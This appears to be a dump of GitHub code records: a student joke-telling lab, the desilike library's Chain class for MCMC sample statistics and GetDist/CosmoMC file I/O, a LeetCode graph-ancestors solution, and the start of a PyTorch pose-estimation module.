Comedian()\naudience = Audience()\nsearch_term = audience.give_prompt()\n\njoke_count = 0\nlimit = 5\npage_count = 1\nwhile True:\n joke_dict = seinfeld.get_jokes(search_term, page_count)\n joke_results = joke_dict['results']\n total_jokes = seinfeld.total_jokes(joke_dict)\n\n if total_jokes == 0:\n break\n\n loop_count = 1\n while True:\n joke = joke_dict['results'][loop_count - 1]['joke']\n seinfeld.tell_joke(joke)\n audience.react()\n joke_count += 1\n\n if joke_count == total_jokes:\n break\n elif loop_count == limit:\n more_jokes = seinfeld.keep_joking(search_term)\n break\n else:\n more_jokes = seinfeld.keep_joking(search_term)\n if more_jokes == 'n':\n break\n loop_count += 1\n page_count += 1\n\n if joke_count == total_jokes:\n time.sleep(1)\n print(f\"No more jokes to tell about {search_term}.\")\n break\n elif more_jokes == 'n':\n break\n","repo_name":"PdxCodeGuild/class_opal","sub_path":"code/jim/python/lab16 copy/lab16_v2.3.py","file_name":"lab16_v2.3.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"18742692259","text":"import os\nimport re\nimport glob\n\nimport numpy as np\n\nfrom desilike.parameter import ParameterCollection, Parameter, ParameterPrior, ParameterArray, Samples, ParameterCovariance, _reshape, is_parameter_sequence\nfrom desilike import LikelihoodFisher\n\nfrom . import utils\n\n\ndef vectorize(func):\n \"\"\"Vectorize input function ``func`` for input parameters.\"\"\"\n from functools import wraps\n\n @wraps(func)\n def wrapper(self, params=None, *args, **kwargs):\n if params is None:\n params = self.params()\n\n def _reshape(result, pshape):\n\n def __reshape(array):\n try:\n array.shape = array.shape[:array.ndim - len(pshape)] + pshape\n except AttributeError:\n pass\n return array\n\n if isinstance(result, tuple): # for :meth:`Chain.interval`\n for res in result:\n __reshape(res)\n else:\n __reshape(result)\n return result\n\n if is_parameter_sequence(params):\n params = [self[param].param for param in params]\n return [_reshape(func(self, param, *args, **kwargs), param.shape) for param in params]\n return _reshape(func(self, params, *args, **kwargs), self[params].param.shape)\n\n return wrapper\n\n\ndef _get_solved_covariance(chain, params=None):\n solved_params = chain.params(solved=True)\n if params is None:\n params = solved_params\n solved_indices = [solved_params.index(param) for param in params]\n logposterior = -(chain[chain._loglikelihood] + chain[chain._logprior])\n if not logposterior.derivs:\n import warnings\n warnings.warn('You need the covariance of analytically marginalized (\"solved\") parameters, but it has not been computed (maybe this chain has been obtained with an old version of the code). Assuming zero covariance.')\n return np.zeros(chain.shape + (len(solved_indices), ) * 2, dtype='f8')\n logposterior = np.array([[logposterior[param1, param2].ravel() for param2 in solved_params] for param1 in solved_params])\n logposterior = np.moveaxis(logposterior, -1, 0).reshape(chain.shape + (len(solved_params),) * 2)\n return np.linalg.inv(logposterior)[(Ellipsis,) + np.ix_(solved_indices, solved_indices)]\n\n\nclass Chain(Samples):\n\n \"\"\"Class that holds samples drawn from posterior (in practice, :class:`Samples` with a log-posterior and optional weights).\"\"\"\n\n _type = ParameterArray\n _attrs = Samples._attrs + ['_logposterior', '_loglikelihood', '_logprior', '_aweight', '_fweight', '_weight']\n\n def __init__(self, data=None, params=None, logposterior=None, loglikelihood=None, logprior=None, aweight=None, fweight=None, weight=None, attrs=None):\n \"\"\"\n Initialize :class:`Chain`.\n\n Parameters\n ----------\n data : list, dict, Samples\n Can be:\n\n - list of :class:`ParameterArray`, or :class:`np.ndarray` if list of parameters\n (or :class:`ParameterCollection`) is provided in ``params``\n - dictionary mapping parameter to array\n\n params : list, ParameterCollection\n Optionally, list of parameters.\n\n logposterior : str, default='logposterior'\n Name of log-posterior in ``data``.\n\n loglikelihood : str, default='loglikelihood'\n Name of log-likelihood in ``data``.\n\n logprior : str, default='logprior'\n Name of log-prior in ``data``.\n\n aweight : str, default='aweight'\n Name of sample weights (which default to 1. if not provided in ``data``).\n\n fweight : str, default='fweight'\n Name of sample frequency weights (which default to 1 if not provided in ``data``).\n\n weight : str, default='weight'\n Name of sample total weight. It is defined as the product of :attr:`aweight` and :attr:`fweight`,\n hence should not provided in ``data``.\n\n attrs : dict, default=None\n Optionally, other attributes, stored in :attr:`attrs`.\n \"\"\"\n super(Chain, self).__init__(data=data, params=params, attrs=attrs)\n for _name in self._attrs[-6:]:\n name = _name[1:]\n value = locals()[name]\n if getattr(self, _name, None) is None or value is not None: # set only if not previously set, or new value are provided\n setattr(self, _name, name if value is None else str(value))\n value = getattr(self, _name)\n if value in self:\n self[value].param.update(derived=True)\n\n def __setstate__(self, state):\n # Backward-compatibility\n for name in ['_logposterior', '_loglikelihood', '_logprior', '_aweight', '_fweight', '_weight']:\n state.setdefault(name, name[1:])\n super(Chain, self).__setstate__(state)\n\n @property\n def aweight(self):\n \"\"\"Sample weights (floats).\"\"\"\n if self._aweight not in self:\n self[Parameter(self._aweight, derived=True, latex=utils.outputs_to_latex(self._aweight))] = np.ones(self.shape, dtype='f8')\n return self[self._aweight]\n\n @property\n def fweight(self):\n \"\"\"Sample frequency weights (integers).\"\"\"\n if self._fweight not in self:\n self[Parameter(self._fweight, derived=True, latex=utils.outputs_to_latex(self._fweight))] = np.ones(self.shape, dtype='i8')\n return self[self._fweight]\n\n @property\n def logposterior(self):\n \"\"\"Log-posterior.\"\"\"\n if self._logposterior not in self:\n self[Parameter(self._logposterior, derived=True, latex=utils.outputs_to_latex(self._logposterior))] = np.zeros(self.shape, dtype='f8')\n return self[self._logposterior]\n\n @aweight.setter\n def aweight(self, item):\n \"\"\"Set weights (floats).\"\"\"\n self[Parameter(self._aweight, derived=True, latex=utils.outputs_to_latex(self._aweight))] = item\n\n @fweight.setter\n def fweight(self, item):\n \"\"\"Set frequency weights (integers).\"\"\"\n self[Parameter(self._fweight, derived=True, latex=utils.outputs_to_latex(self._fweight))] = item\n\n @logposterior.setter\n def logposterior(self, item):\n \"\"\"Set log-posterior.\"\"\"\n self[Parameter(self._logposterior, derived=True, latex=utils.outputs_to_latex(self._logposterior))] = item\n\n @property\n def weight(self):\n \"\"\"Return total weight, as the product of :attr:`aweight` and :attr:`fweight`.\"\"\"\n return ParameterArray(self.aweight * self.fweight, Parameter(self._weight, derived=True, latex=utils.outputs_to_latex(self._weight)))\n\n def remove_burnin(self, burnin=0):\n \"\"\"\n Return new samples with burn-in removed.\n\n Parameters\n ----------\n burnin : float, int\n If ``burnin`` between 0 and 1, remove that fraction of samples.\n Else, remove ``burnin`` (integer) first points.\n\n Returns\n -------\n samples : Chain\n \"\"\"\n if 0 < burnin < 1:\n burnin = burnin * len(self)\n burnin = int(burnin + 0.5)\n return self[burnin:]\n\n def sample_solved(self, size=1, seed=42):\n \"\"\"Sample parameters that have been analytic marginalized over (``solved``).\"\"\"\n new = self.deepcopy()\n solved_params = self.params(solved=True)\n if not solved_params: return new\n covariance = _get_solved_covariance(self, params=solved_params)\n L = np.moveaxis(np.linalg.cholesky(covariance), (-2, -1), (0, 1))\n new.data = []\n for array in self:\n new.set(array.clone(value=np.repeat(array, size, axis=self.ndim - 1)))\n rng = np.random.RandomState(seed=seed)\n noise = rng.standard_normal((len(solved_params),) + self.shape + (size,))\n values = np.sum(noise[None, ...] * L[..., None], axis=1)\n for param, value in zip(solved_params, values):\n new[param] = new[param].clone(value=new[param] + value.reshape(new.shape), param=param.clone(derived=False))\n dlogposterior = 0.\n for param in [self._loglikelihood, self._logprior]:\n icov = - np.array([[self[param][param1, param2] for param2 in solved_params] for param1 in solved_params])\n log = -0.5 * np.sum(values[None, ...] * icov[..., None] * values[:, None, ...], axis=(0, 1)).reshape(new.shape)\n new[param] = self[param].clone(value=new[param][()] + log, derivs=None)\n dlogposterior += log\n new.logposterior[...] += dlogposterior\n return new\n\n def get(self, name, *args, **kwargs):\n \"\"\"\n Return parameter array of name ``name`` in chain.\n\n Parameters\n ----------\n name : Parameter, str\n Parameter name.\n If :class:`Parameter` instance, search for parameter with same name.\n\n Returns\n -------\n array : ParameterArray\n \"\"\"\n has_default = False\n if args:\n if len(args) > 1:\n raise SyntaxError('Too many arguments!')\n has_default = True\n default = args[0]\n if kwargs:\n if len(kwargs) > 1:\n raise SyntaxError('Too many arguments!')\n has_default = True\n default = kwargs['default']\n try:\n return self.data[self.index(name)]\n except KeyError:\n if name == self._weight:\n return self.weight\n if has_default:\n return default\n raise KeyError('Column {} does not exist'.format(name))\n\n @classmethod\n def from_getdist(cls, samples):\n \"\"\"\n Turn getdist.MCSamples into a :class:`Chain` instance.\n\n Note\n ----\n GetDist package is required.\n \"\"\"\n params = ParameterCollection()\n for param in samples.paramNames.names:\n params.set(Parameter(param.name, latex=param.label, derived=param.isDerived, fixed=False))\n for param in params:\n limits = [samples.ranges.lower.get(param.name, -np.inf), samples.ranges.upper.get(param.name, np.inf)]\n param.update(prior=ParameterPrior(limits=limits))\n new = cls()\n fweight, new.logposterior = samples.weights, -samples.loglikes\n iweight = np.rint(fweight)\n if np.allclose(fweight, iweight, atol=0., rtol=1e-9):\n new.fweight = iweight.astype('i4')\n else:\n new.aweight = fweight\n for param in params:\n new.set(ParameterArray(samples[param.name], param=param))\n for param in new.params(basename='chi2_*'):\n namespace = re.match('chi2_[_]*(.*)$', param.name).groups()[0]\n if namespace == 'prior':\n new_param = param.clone(basename=new._logprior, derived=True)\n else:\n new_param = param.clone(basename=new._loglikelihood, namespace=namespace, derived=True)\n new[new_param] = -0.5 * new[param]\n return new\n\n def to_getdist(self, params=None, label=None, **kwargs):\n \"\"\"\n Return GetDist hook to samples.\n\n Note\n ----\n GetDist package is required.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to save samples of (weight and log-posterior are added anyway). Defaults to all parameters.\n\n label : str, default=None\n Name for GetDist to use for these samples.\n\n **kwargs : dict\n Optional arguments for :class:`getdist.MCSamples`.\n\n Returns\n -------\n samples : getdist.MCSamples\n \"\"\"\n from getdist import MCSamples\n toret = None\n if params is None: params = self.params(varied=True)\n else: params = [self[param].param for param in params]\n if any(param.solved for param in params):\n self = self.sample_solved()\n params = [param for param in params if param.name not in [self._weight, self._logposterior]]\n samples = self.to_array(params=params, struct=False, derivs=()).reshape(-1, self.size)\n labels = [param.latex() for param in params]\n names = [str(param) for param in params]\n ranges = {str(param): tuple('N' if limit is None or not np.isfinite(limit) else limit for limit in param.prior.limits) for param in params}\n toret = MCSamples(samples=samples.T, weights=np.asarray(self.weight.ravel()), loglikes=-np.asarray(self.logposterior.ravel()), names=names, labels=labels, label=label, ranges=ranges, **kwargs)\n return toret\n\n @classmethod\n def read_getdist(cls, base_fn, ichains=None, concatenate=False):\n \"\"\"\n Load samples in *CosmoMC* format, i.e.:\n\n - '_{ichain}.txt' files for sample values\n - '.paramnames' files for parameter names / latex\n - '.ranges' for parameter ranges\n\n Note\n ----\n GetDist package *is not* required.\n\n Parameters\n ----------\n base_fn : str, Path\n Base *CosmoMC* file name. Will be appended by '_{ichain}.txt' for sample values,\n '.paramnames' for parameter names and '.ranges' for parameter ranges.\n\n ichains : int, tuple, list, default=None\n Chain numbers to load. Defaults to all chains matching pattern '{base_fn}*.txt'.\n If a single number is provided, return a unique chain.\n If multiple numbers are provided, or is ``None``, return a list of chains (see ``concatenate``).\n\n concatenate : bool, default=False\n If ``True``, concatenate all chains in one.\n\n Returns\n -------\n samples : list, Chain\n Chain or list of chains.\n \"\"\"\n params_fn = '{}.paramnames'.format(base_fn)\n cls.log_info('Loading params file: {}.'.format(params_fn))\n params = ParameterCollection()\n with open(params_fn) as file:\n for line in file:\n line = [item.strip() for item in line.split(maxsplit=1)]\n if line:\n name, latex = line\n derived = name.endswith('*')\n if derived: name = name[:-1]\n params.set(Parameter(basename=name, latex=latex.replace('\\n', ''), fixed=False, derived=derived))\n\n ranges_fn = '{}.ranges'.format(base_fn)\n if os.path.exists(ranges_fn):\n cls.log_info('Loading parameter ranges from {}.'.format(ranges_fn))\n with open(ranges_fn) as file:\n for line in file:\n name, low, high = [item.strip() for item in line.split()]\n latex = latex.replace('\\n', '')\n limits = []\n for lh, li in zip([low, high], [-np.inf, np.inf]):\n if lh == 'N': lh = li\n else: lh = float(lh)\n limits.append(lh)\n if name in params:\n params[name].update(prior=ParameterPrior(limits=limits))\n else:\n cls.log_info('Parameter ranges file {} does not exist.'.format(ranges_fn))\n\n chain_fn = '{}_{{}}.txt'.format(base_fn)\n isscalar = False\n chain_fns = []\n if ichains is not None:\n isscalar = np.ndim(ichains) == 0\n if isscalar:\n ichains = [ichains]\n for ichain in ichains:\n chain_fns.append(chain_fn.format('{:d}'.format(ichain)))\n else:\n chain_fns = glob.glob(chain_fn.format('[0-9]*'))\n\n toret = []\n for chain_fn in chain_fns:\n cls.log_info('Loading chain file: {}.'.format(chain_fn))\n array = np.loadtxt(chain_fn, unpack=True)\n new = cls()\n fweight, new.logposterior = array[0], -array[1]\n iweight = np.rint(fweight)\n if np.allclose(fweight, iweight, atol=0., rtol=1e-9):\n new.fweight = iweight.astype('i4')\n else:\n new.aweight = fweight\n for param, values in zip(params, array[2:]):\n new.set(ParameterArray(values, param))\n toret.append(new)\n for new in toret:\n for param in new.params(basename='chi2_*'):\n namespace = re.match('chi2_[_]*(.*)$', param.name).groups()[0]\n if namespace == 'prior':\n new_param = param.clone(basename=new._logprior, derived=True)\n else:\n new_param = param.clone(basename=new._loglikelihood, namespace=namespace, derived=True)\n new[new_param] = -0.5 * new[param]\n if isscalar:\n return toret[0]\n if concatenate:\n return cls.concatenate(toret)\n return toret\n\n def write_getdist(self, base_fn, params=None, ichain=None, fmt='%.18e', delimiter=' ', **kwargs):\n \"\"\"\n Save samples to disk in *CosmoMC* format.\n\n Note\n ----\n GetDist package *is not* required.\n\n Parameters\n ----------\n base_fn : str, Path\n Base *CosmoMC* file name. Will be prepended by '_{ichain}.txt' for sample values,\n '.paramnames' for parameter names and '.ranges' for parameter ranges.\n\n params : list, ParameterCollection, default=None\n Parameters to save samples of (weight and log-posterior are added anyway). Defaults to all parameters.\n\n ichain : int, default=None\n Chain number to append to file name, i.e. sample values will be saved as '{base_fn}_{ichain}.txt'.\n If ``None``, does not append any number, sample values will be saved as '{base_fn}.txt'.\n\n fmt : str, default='%.18e'\n How to format floats.\n\n delimiter : str, default=' '\n String or character separating columns.\n\n kwargs : dict\n Optional arguments for :func:`numpy.savetxt`.\n \"\"\"\n if params is None: params = self.params()\n else: params = [self[param].param for param in params]\n if any(param.solved for param in params):\n self = self.sample_solved()\n columns = [str(param) for param in params]\n outputs_columns = [self._weight, self._logposterior]\n shape = self.shape\n outputs = [array.param.name for array in self if array.shape != shape]\n for column in outputs:\n if column in columns: del columns[columns.index(column)]\n data = self.to_array(params=outputs_columns + columns, struct=False, derivs=()).reshape(-1, self.size)\n data[1] *= -1\n data = data.T\n utils.mkdir(os.path.dirname(base_fn))\n chain_fn = '{}.txt'.format(base_fn) if ichain is None else '{}_{:d}.txt'.format(base_fn, ichain)\n self.log_info('Saving chain to {}.'.format(chain_fn))\n np.savetxt(chain_fn, data, header='', fmt=fmt, delimiter=delimiter, **kwargs)\n\n output = ''\n params = self.params(name=columns)\n for param in params:\n tmp = '{}* {}\\n' if getattr(param, 'derived', getattr(param, 'fixed')) else '{} {}\\n'\n output += tmp.format(param.name, param.latex())\n params_fn = '{}.paramnames'.format(base_fn)\n self.log_info('Saving parameter names to {}.'.format(params_fn))\n with open(params_fn, 'w') as file:\n file.write(output)\n\n output = ''\n for param in params:\n limits = param.prior.limits\n limits = tuple('N' if limit is None or np.abs(limit) == np.inf else limit for limit in limits)\n output += '{} {} {}\\n'.format(param.name, limits[0], limits[1])\n ranges_fn = '{}.ranges'.format(base_fn)\n self.log_info('Saving parameter ranges to {}.'.format(ranges_fn))\n with open(ranges_fn, 'w') as file:\n file.write(output)\n\n def to_anesthetic(self, params=None, label=None, **kwargs):\n \"\"\"\n Return anesthetic hook to samples.\n\n Note\n ----\n anesthetic package *is* required.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to save samples of (weight and log-posterior are added anyway). Defaults to all parameters.\n\n label : str, default=None\n Name for anesthetic to use for these samples.\n\n **kwargs : dict\n Optional arguments for :class:`anesthetic.MCMCSamples`.\n\n Returns\n -------\n samples : anesthetic.MCMCSamples\n \"\"\"\n from anesthetic import MCMCSamples\n toret = None\n if params is None: params = self.params(varied=True)\n else: params = [self[param].param for param in params]\n if any(param.solved for param in params):\n self = self.sample_solved()\n labels = [param.latex() for param in params]\n samples = self.to_array(params=params, struct=False, derivs=()).reshape(-1, self.size)\n names = [str(param) for param in params]\n limits = {param.name: tuple('N' if limit is None or np.abs(limit) == np.inf else limit for limit in param.prior.limits) for param in params}\n toret = MCMCSamples(samples=samples.T, columns=names, weights=np.asarray(self.weight.ravel()), logL=-np.asarray(self.logposterior.ravel()), labels=labels, label=label, logzero=-np.inf, limits=limits, **kwargs)\n return toret\n\n def choice(self, index='mean', params=None, return_type='dict', **kwargs):\n \"\"\"\n Return parameter mean(s) or best fit(s).\n\n Parameters\n ----------\n index : str, default='mean'\n 'argmax' to return \"best fit\" (as defined by the point with maximum log-posterior in the chain).\n 'mean' to return mean of parameters (weighted by :attr:`weight`).\n\n params : list, ParameterCollection, default=None\n Parameters to compute mean / best fit for. Defaults to all parameters.\n\n return_type : default='dict'\n 'dict' to return a dictionary mapping parameter names to mean / best fit;\n 'nparray' to return an array of parameter mean / best fit;\n ``None`` to return a :class:`Chain` instance with a single value.\n\n **kwargs : dict\n Optional arguments passed to :meth:`params` to select params to return, e.g. ``varied=True, derived=False``.\n\n Returns\n -------\n toret : dict, array, Chain\n \"\"\"\n if params is None:\n params = self.params(**kwargs)\n if isinstance(index, str) and index == 'mean':\n di = {str(param): self.mean(param) for param in params}\n index = (0,) # just for test below\n else:\n if isinstance(index, str) and index == 'argmax':\n index = np.unravel_index(self.logposterior.argmax(), self.shape)\n if not isinstance(index, tuple):\n index = (index,)\n di = {str(param): self[param][index] for param in params}\n if return_type == 'dict':\n return di\n if return_type == 'nparray':\n return np.array(list(di.values()))\n toret = self.copy()\n isscalar = all(np.ndim(ii) == 0 for ii in index)\n toret.data = []\n for param, value in di.items():\n value = np.asarray(value)\n toret.data.append(self[param].clone(value=value[None, ...] if isscalar else value))\n return toret\n\n def covariance(self, params=None, return_type='nparray', ddof=1):\n \"\"\"\n Return parameter covariance computed from (weighted) samples.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to compute covariance for. Defaults to all parameters.\n If a single parameter is provided, this parameter is a scalar, and ``return_type`` is 'nparray', return a scalar.\n\n return_type : str, default='nparray'\n 'nparray' to return matrix array;\n ``None`` to return :class:`ParameterCovariance` instance.\n\n ddof : int, default=1\n Number of degrees of freedom.\n\n Returns\n -------\n covariance : array, float, ParameterCovariance\n \"\"\"\n if params is None: params = self.params()\n if not is_parameter_sequence(params): params = [params]\n params = [self[param].param for param in params]\n values = [self[param].reshape(self.size, -1) for param in params]\n values = np.concatenate(values, axis=-1)\n covariance = np.atleast_2d(np.cov(values, rowvar=False, fweights=self.fweight.ravel(), aweights=self.aweight.ravel(), ddof=ddof))\n solved_params = [param for param in params if param.solved]\n if solved_params:\n solved_indices = [params.index(param) for param in solved_params]\n covariance[np.ix_(solved_indices, solved_indices)] += np.average(_get_solved_covariance(self, params=solved_params).reshape(-1, len(solved_params), len(solved_params)), weights=self.weight.ravel(), axis=0)\n return ParameterCovariance(covariance, params=params).view(return_type=return_type)\n\n def precision(self, params=None, return_type='nparray', ddof=1):\n \"\"\"\n Return inverse parameter covariance computed from (weighted) samples.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to compute covariance for. Defaults to all parameters.\n If a single parameter is provided, this parameter is a scalar, and ``return_type`` is 'nparray', return a scalar.\n\n return_type : str, default='nparray'\n 'nparray' to return matrix array.\n ``None`` to return a :class:`ParameterPrecision` instance.\n\n ddof : int, default=1\n Number of degrees of freedom.\n\n Returns\n -------\n precision : array, float, ParameterPrecision\n \"\"\"\n return self.covariance(params=params, ddof=ddof, return_type=None).to_precision(return_type=return_type)\n\n def corrcoef(self, params=None):\n \"\"\"Return correlation matrix array computed from (weighted) samples (optionally restricted to input parameters).\"\"\"\n return self.covariance(params=params, return_type=None).corrcoef()\n\n @vectorize\n def var(self, params=None, ddof=1):\n \"\"\"\n Return variance computed from (weighted) samples (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n ``ddof`` is the number of degrees of freedom.\n \"\"\"\n isscalar = not is_parameter_sequence(params)\n cov = self.covariance(params, ddof=ddof, return_type='nparray')\n if isscalar: return cov.flat[0] # single param\n return np.diag(cov)\n\n def std(self, params=None, ddof=1):\n \"\"\"\n Return standard deviation computed from (weighted) samples (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n ``ddof`` is the number of degrees of freedom.\n \"\"\"\n return self.var(params=params, ddof=ddof)**0.5\n\n @vectorize\n def mean(self, params=None):\n \"\"\"\n Return mean computed from (weighted) samples (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n \"\"\"\n return np.average(_reshape(self[params], self.size), weights=self.weight.ravel(), axis=0)\n\n @vectorize\n def argmax(self, params=None):\n \"\"\"\n Return parameter values for maximum of log-posterior (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n \"\"\"\n return _reshape(self[params], self.size)[np.argmax(self.logposterior.ravel())]\n\n def median(self, params=None, method='linear'):\n \"\"\"\n Return parameter median of weighted parameter samples (optionally restricted to input parameters).\n If a single parameter is given as input and this parameter is a scalar, return a scalar.\n \"\"\"\n return self.quantile(params, q=0.5, method=method)\n\n @vectorize\n def quantile(self, params=None, q=(0.1587, 0.8413), method='linear'):\n \"\"\"\n Compute the q-th quantile of the weighted parameter samples.\n If a single parameter is given as input this parameter is a scalar, and a ``q`` is a scalar, return a scalar.\n\n Note\n ----\n Adapted from https://github.com/minaskar/cronus/blob/master/cronus/plot.py.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to compute quantiles for. Defaults to all parameters.\n\n q : tuple, list, array\n Quantile or sequence of quantiles to compute, which must be between\n 0 and 1 inclusive.\n\n method : {'linear', 'lower', 'higher', 'midpoint', 'nearest'}, default='linear'\n This optional parameter specifies the method method to\n use when the desired quantile lies between two data points\n ``i < j``:\n\n - linear: ``i + (j - i) * fraction``, where ``fraction``\n is the fractional part of the index surrounded by ``i``\n and ``j``.\n - lower: ``i``.\n - higher: ``j``.\n - nearest: ``i`` or ``j``, whichever is nearest.\n - midpoint: ``(i + j) / 2``.\n\n Returns\n -------\n quantiles : list, scalar, array\n \"\"\"\n value = _reshape(self[params], self.size)\n weight = self.weight.ravel()\n weight /= np.sum(weight)\n\n if value.param.solved:\n from scipy import stats\n\n locs = value\n scales = _get_solved_covariance(self, [params])[..., 0, 0].ravel()**0.5\n cdfs = [stats.norm(loc=loc, scale=scale).cdf for loc, scale in zip(locs, scales)]\n\n isscalar = np.ndim(q) == 0\n q = np.atleast_1d(q)\n quantiles = np.array(q)\n\n for iq, qq in enumerate(q.flat):\n\n def cdf(x):\n return sum(w * cdf(x) for w, cdf in zip(weight, cdfs)) - qq\n\n nsigmas = 100\n limits = np.min(locs - nsigmas * scales), np.max(locs + nsigmas * scales)\n if qq <= limits[0]:\n res = limits[0]\n elif qq >= limits[1]:\n res = limits[1]\n else:\n x = np.linspace(*limits, num=10000)\n cdf = cdf(x)\n idx = np.searchsorted(cdf, 0, side='right') - 1\n res = (x[idx + 1] - x[idx]) / (cdf[idx + 1] - cdf[idx]) * cdf[idx + 1] + x[idx]\n #print(cdf(x[idx]), cdf(x[idx + 1]))\n #res = optimize.bisect(cdf, x[idx], x[idx + 1], xtol=1e-6 * np.mean(scales), disp=True)\n quantiles.flat[iq] = res\n\n if isscalar:\n return quantiles[0]\n return quantiles\n\n return utils.weighted_quantile(value, q=q, weights=weight, axis=0, method=method)\n\n @vectorize\n def interval(self, params=None, nsigmas=1.):\n \"\"\"\n Return n-sigma confidence interval(s).\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to compute confidence interval for. Defaults to all parameters.\n\n nsigmas : int\n Return interval for this number of sigmas.\n\n Returns\n -------\n interval : tuple, list\n \"\"\"\n value = self[params].ravel()\n weight = self.weight.ravel()\n weight /= np.sum(weight)\n\n if value.param.solved:\n\n from scipy import stats\n\n locs = value\n scales = _get_solved_covariance(self, [params])[..., 0, 0].ravel()**0.5\n cdfs = [stats.norm(loc=loc, scale=scale).cdf for loc, scale in zip(locs, scales)]\n\n def cdf(x):\n return sum(w * cdf(x) for w, cdf in zip(weight, cdfs))\n\n limits = np.min(locs - 2 * nsigmas * scales), np.max(locs + 2 * nsigmas * scales)\n value = np.linspace(*limits, num=10000)\n weight = cdf(value)\n weight = np.concatenate([[weight[0]], np.diff(weight)[:-1], [1. - weight[-2]]])\n\n return utils.interval(value, weights=weight, nsigmas=nsigmas)\n\n def to_fisher(self, params=None, ddof=1, **kwargs):\n \"\"\"\n Return Fisher from (weighted) samples.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to return Fisher for. Defaults to all parameters.\n\n ddof : int, default=1\n Number of degrees of freedom.\n\n **kwargs : dict\n Arguments for :meth:`choice`, giving the mean of the output Fisher likelihood.\n\n Returns\n -------\n fisher : LikelihoodFisher\n \"\"\"\n precision = self.precision(params=params, ddof=ddof, return_type=None)\n params = precision._params\n mean = self.choice(params=params, return_type='nparray', **kwargs)\n return LikelihoodFisher(center=mean, params=params, offset=self.logposterior.max(), hessian=-precision.view(return_type='nparray'), with_prior=True)\n\n def to_stats(self, params=None, quantities=None, sigfigs=2, tablefmt='latex_raw', fn=None):\n \"\"\"\n Export summary sampling quantities.\n\n Parameters\n ----------\n params : list, ParameterCollection, default=None\n Parameters to export quantities for. Defaults to all parameters.\n\n quantities : list, default=None\n Quantities to export. Defaults to ``['argmax', 'mean', 'median', 'std', 'quantile:1sigma', 'interval:1sigma']``.\n\n sigfigs : int, default=2\n Number of significant digits.\n See :func:`utils.round_measurement`.\n\n tablefmt : str, default='latex_raw'\n Format for summary table.\n See :func:`tabulate.tabulate`.\n If 'list', return table as list of list of strings, and headers.\n If 'list_latex', return table as list of list of latex strings, and headers.\n\n fn : str, default=None\n If not ``None``, file name where to save summary table.\n\n Returns\n -------\n tab : str\n Summary table.\n \"\"\"\n import tabulate\n if params is None: params = self.params(varied=True)\n else: params = [self[param].param for param in params]\n if quantities is None: quantities = ['argmax', 'mean', 'median', 'std', 'quantile:1sigma', 'interval:1sigma']\n is_latex = 'latex' in tablefmt\n\n def round_errors(low, up):\n low, up = utils.round_measurement(0.0, low, up, sigfigs=sigfigs, positive_sign='u')[1:]\n if is_latex: return '${{}}_{{{}}}^{{{}}}$'.format(low, up)\n return '{}/{}'.format(low, up)\n\n data = []\n for param in params:\n row = []\n row.append(param.latex(inline=True) if is_latex else str(param))\n ref_center = self.mean(param)\n ref_error = self.var(param)**0.5\n for quantity in quantities:\n if quantity in ['argmax', 'mean', 'median', 'std']:\n value = getattr(self, quantity)(param)\n value = utils.round_measurement(value, ref_error, sigfigs=sigfigs)[0]\n if is_latex: value = '${}$'.format(value)\n row.append(value)\n elif quantity.startswith('quantile'):\n nsigmas = int(re.match('quantile:(.*)sigma', quantity).group(1))\n low, up = self.quantile(param, q=utils.nsigmas_to_quantiles_1d_sym(nsigmas))\n row.append(round_errors(low - ref_center, up - ref_center))\n elif quantity.startswith('interval'):\n nsigmas = int(re.match('interval:(.*)sigma', quantity).group(1))\n low, up = self.interval(param, nsigmas=nsigmas)\n row.append(round_errors(low - ref_center, up - ref_center))\n else:\n raise RuntimeError('Unknown quantity {}.'.format(quantity))\n data.append(row)\n if 'list' in tablefmt:\n return data, quantities\n tab = tabulate.tabulate(data, headers=quantities, tablefmt=tablefmt)\n if fn is not None:\n utils.mkdir(os.path.dirname(fn))\n self.log_info('Saving to {}.'.format(fn))\n with open(fn, 'w') as file:\n file.write(tab)\n return tab\n","repo_name":"cosmodesi/desilike","sub_path":"desilike/samples/chain.py","file_name":"chain.py","file_ext":"py","file_size_in_byte":36742,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"35863450061","text":"class Solution:\n def getAncestors(self, n: int, edges: List[List[int]]) -> List[List[int]]:\n d = collections.defaultdict(list)\n \n for a, b in edges:\n d[b].append(a)\n\n @functools.cache\n def dfs(i, j):\n if i not in d:\n return\n\n for n in d[i]:\n s.add(n)\n dfs(n, j)\n \n values = []\n for i in range(n):\n s = set()\n dfs(i, i)\n values.append(sorted(s))\n\n return values\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/2192_all_ancestors_of_a_node_in_a_directed_acyclic_graph/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26330001354","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\nimport math\nimport numpy as np\n\nfrom .smpl import SMPL_layer\nfrom .utils import rot6d_to_rotmat, rotmat_to_axis_angle, _sigmoid\n\ndef build_iia_module(cfg):\n return IIA(cfg)\n\ndef build_gfd_module(cfg):\n return GFD(cfg)\n\nclass IIA(nn.Module):\n def __init__(self, cfg):\n super().__init__()\n self.device = torch.device(cfg.MODEL.DEVICE)\n self.num_keypoints = cfg.DATASET.NUM_KEYPOINTS\n self.in_channels = cfg.MODEL.IIA.IN_CHANNELS\n self.out_channels = cfg.MODEL.IIA.OUT_CHANNELS\n assert self.out_channels == self.num_keypoints + 1\n self.num_part = 15\n\n self.heatmap_head = nn.Conv2d(self.in_channels, self.out_channels, 1, 1, 0)\n self.mask_head = 